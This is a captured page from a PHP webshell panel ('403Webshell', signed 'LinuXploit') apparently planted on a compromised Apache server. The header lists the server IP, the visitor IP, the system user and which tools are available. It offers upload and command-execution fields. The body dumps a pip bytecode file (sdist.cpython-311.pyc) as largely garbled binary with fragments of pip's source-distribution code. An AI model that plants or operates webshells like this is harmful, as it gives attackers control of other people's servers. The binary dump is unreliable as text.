403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pip/_internal/distributions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pip/_internal/distributions/__pycache__/sdist.cpython-311.pyc
�

�/�c^���ddlZddlmZmZmZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZeje��ZGd	�d
e��ZdS)�N)�Iterable�Set�Tuple)�BuildEnvironment)�AbstractDistribution)�InstallationError)�
PackageFinder)�BaseDistribution)�runner_with_spinner_messagec���eZdZdZdefd�Zdedededdfd�Zdeddfd	�Z	de
efd
�Zde
efd�Z
deddfd�Zd
edeeeefddfd�Zdeeddfd�ZdS)�SourceDistributionz�Represents a source distribution.

    The preparation step for these needs metadata for the packages to be
    generated, either using PEP 517 or using the legacy `setup.py egg_info`.
    �returnc�4�|j���S)N)�req�get_dist)�selfs �C/usr/lib/python3/dist-packages/pip/_internal/distributions/sdist.py�get_metadata_distributionz,SourceDistribution.get_metadata_distributions���x� � �"�"�"��finder�build_isolation�check_build_depsNc���|j���|jjo|}|rC|�|��|j���|�|��|jjo|}|ra|jj}|�J�|jj�|��\}}|r|�	d|��|r|�
|��|j���dS)N�the backend dependencies)r�load_pyproject_toml�
use_pep517�_prepare_build_backend�isolated_editable_sanity_check�_install_build_reqs�pyproject_requires�	build_env�check_requirements�_raise_conflicts�_raise_missing_reqs�prepare_metadata)	rrrr�should_isolate�should_check_depsr �conflicting�missings	         r�prepare_distribution_metadataz0SourceDistribution.prepare_distribution_metadatas��	
��$�$�&�&�&���,�@����
	-�
�'�'��/�/�/�
�H�3�3�5�5�5��$�$�V�,�,�,� �H�/�D�4D���		2�!%��!<��%�1�1�1�#'�8�#5�#H�#H�"�$�$� �K���
O��%�%�&@�+�N�N�N��
2��(�(��1�1�1���!�!�#�#�#�#�#rc��|jj}|�J�t��|j_|jj�||dd���|jj�|jj��\}}|r|�d|��|rpt�	d|j��t�	dd�
ttt|��������dSdS)N�overlayzbuild dependencies��kindz"PEP 517/518 supported requirementsz4Missing build requirements in pyproject.toml for %s.z`The project does not specify a build backend, and pip cannot fall back to setuptools without %s.z and )rr rr!�install_requirementsr"�requirements_to_checkr#�logger�warning�join�map�repr�sorted)rrr r(r)s     rrz)SourceDistribution._prepare_build_backend?s��"�X�8��!�-�-�-�-�/�/�������/�/��&�	�8L�	0�	
�	
�	
� $�x�1�D�D��H�*� 
� 
���W��	U��!�!�"F��T�T�T��		��N�N�F���
�
�
�
�N�N�A����S��v�g���7�7�8�8�
�
�
�
�
�		�		rc�*�|jj5td��}|jj}|�J�|�|��5|���cddd��cddd��S#1swxYwY	ddd��dS#1swxYwYdS)Nz#Getting requirements to build wheel)rr!r�pep517_backend�subprocess_runner�get_requires_for_build_wheel�r�runner�backends   r�_get_build_requires_wheelz,SourceDistribution._get_build_requires_wheelYs:��
�X�
�	>�	>�0�1V�W�W�F��h�-�G��&�&�&��*�*�6�2�2�
>�
>��;�;�=�=�
>�
>�
>�
>�
>�
>�
>�		>�	>�	>�	>�	>�	>�	>�	>�
>�
>�
>�
>����
>�
>�
>�
>�
>�		>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>�	>�	>�5�5B�A/�B�/A3	�3B�6A3	�7B�B�Bc�*�|jj5td��}|jj}|�J�|�|��5|���cddd��cddd��S#1swxYwY	ddd��dS#1swxYwYdS)Nz&Getting requirements to build editable)rr!rr8r9�get_requires_for_build_editabler;s   r�_get_build_requires_editablez/SourceDistribution._get_build_requires_editableasn��
�X�
�	A�	A�0�8���F��h�-�G��&�&�&��*�*�6�2�2�
A�
A��>�>�@�@�
A�
A�
A�
A�
A�
A�
A�
	A�	A�	A�	A�	A�	A�	A�	A�
A�
A�
A�
A����
A�
A�
A�
A�
A�
	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A����	A�	A�	A�	A�	A�	Ar?c�t�|jjr:|jjr.|j���r|���}n|���}|jj�|��\}}|r|�d|��|jj�	||dd���dS)Nr�normalzbackend dependenciesr-)
r�editable�permit_editable_wheels�supports_pyproject_editablerBr>r!r"r#r/)rr�
build_reqsr(r)s     rrz&SourceDistribution._install_build_reqsks���

�H��	:���/�	:���4�4�6�6�	:�
�:�:�<�<�J�J��7�7�9�9�J�#�x�1�D�D�Z�P�P���W��	K��!�!�"<�k�J�J�J����/�/��G�X�,B�	0�	
�	
�	
�	
�	
r�conflicting_with�conflicting_reqsc
��d}|�|j|d�d�t|��D�������}t	|���)NzZSome build dependencies for {requirement} conflict with {conflicting_with}: {description}.�, c3�*K�|]\}}|�d|��V��dS)z is incompatible with N�)�.0�	installed�wanteds   r�	<genexpr>z6SourceDistribution._raise_conflicts.<locals>.<genexpr>�sH����"�"�%�I�v��<�<�F�<�<�"�"�"�"�"�"r)�requirementrI�description)�formatrr3r6r)rrIrJ�
format_string�
error_messages     rr#z#SourceDistribution._raise_conflicts~sv��
?�	�&�,�,���-��	�	�"�"�)/�0@�)A�)A�"�"�"���-�
�
�
� �
�.�.�.rr)c���d}|�|jd�ttt|���������}t
|���)NzASome build dependencies for {requirement} are missing: {missing}.rL)rSr))rUrr3r4r5r6r)rr)rVrWs    rr$z&SourceDistribution._raise_missing_reqs�sY��O�	�&�,�,���$�)�)�C��f�W�o�o�4N�4N�*O�*O�-�
�
�
� �
�.�.�.r)�__name__�
__module__�__qualname__�__doc__r
rr	�boolr*rr�strr>rBrrrr#r$rNrrr
r
s[��������#�+;�#�#�#�#�%$��%$��%$��	%$�

�%$�%$�%$�%$�N�]��t�����4>�8�C�=�>�>�>�>�A�h�s�m�A�A�A�A�
�-�
�D�
�
�
�
�&/� #�/�7:�5��c��?�7K�/�	
�/�/�/�/�"/�3�s�8�/��/�/�/�/�/�/rr
)�logging�typingrrr�pip._internal.build_envr� pip._internal.distributions.baser�pip._internal.exceptionsr�"pip._internal.index.package_finderr	�pip._internal.metadatar
�pip._internal.utils.subprocessr�	getLoggerrYr1r
rNrr�<module>rhs�������'�'�'�'�'�'�'�'�'�'�4�4�4�4�4�4�A�A�A�A�A�A�6�6�6�6�6�6�<�<�<�<�<�<�3�3�3�3�3�3�F�F�F�F�F�F�	��	�8�	$�	$��H/�H/�H/�H/�H/�-�H/�H/�H/�H/�H/r

Youez - 2016 - github.com/yon3zu
LinuXploit